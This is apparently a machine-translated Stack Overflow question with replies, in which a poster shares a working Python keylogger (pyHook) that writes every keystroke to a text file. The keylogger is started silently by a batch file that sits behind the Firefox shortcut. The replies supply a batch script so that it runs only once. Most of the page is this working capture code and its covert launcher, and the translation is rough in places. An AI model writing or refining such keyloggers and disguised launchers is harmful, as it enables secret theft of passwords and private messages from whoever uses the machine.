2014-05-12 96 views
0

我在this guy的教程后面做了一个简单的Python键盘记录程序。该.pyw文件如下:如果它已经在运行,请不要运行python脚本

import pyHook, pythoncom, sys, logging 

file_log = 'C:\\Python27\\logger.txt' 

def OnKeyboardEvent(event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10,chr(event.Ascii)) 
    return True 

hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 

它巧妙地运行,当我使用Firefox,因为Firefox的快捷方式调用其中包含一个批处理文件:

@echo off 
tasklist /FI "IMAGENAME eq c:\Python27\keylogger.pyw" 2>NUL | find /I /N "c:\Python27\keylogger.pyw">NUL 
if not "%ERRORLEVEL%"=="0" start "" "c:\Python27\keylogger.pyw" #doesn't work 

start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe" 

我的问题是,如果我使用Firefox不止一次(这经常发生),这个脚本再次运行并重复自身,所以我在日志文本文件中得到这些结果。

g 
g 
o 
o 
o 
o 
g 
g 
l 
l 
e 
e 

我需要一些if条件不允许此脚本运行,如果它已经运行。

+0

这里是如何检查的过程是通过批处理脚本运行http://stackoverflow.com/questions/162291/后如何检查,如果一个进程正在运行,通过一个批处理脚本可能会帮助 – alex

+3

看到:http://stackoverflow.com/questions/489861/locking-a-file-in -python –

回答

0

试试这个:

@echo off 
for /f "tokens=1 delims= " %%a in ('tasklist /v ^| findstr "keylogger"') do set running_check=%%a 
if not defined running_check start "" "c:\Python27\keylogger.pyw" 
start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe" 

编辑:固定的for循环

+0

这不起作用的朋友 – khaverim

+0

尝试给你的python脚本一个标题,并用该标题字符串替换'keylogger' – Alex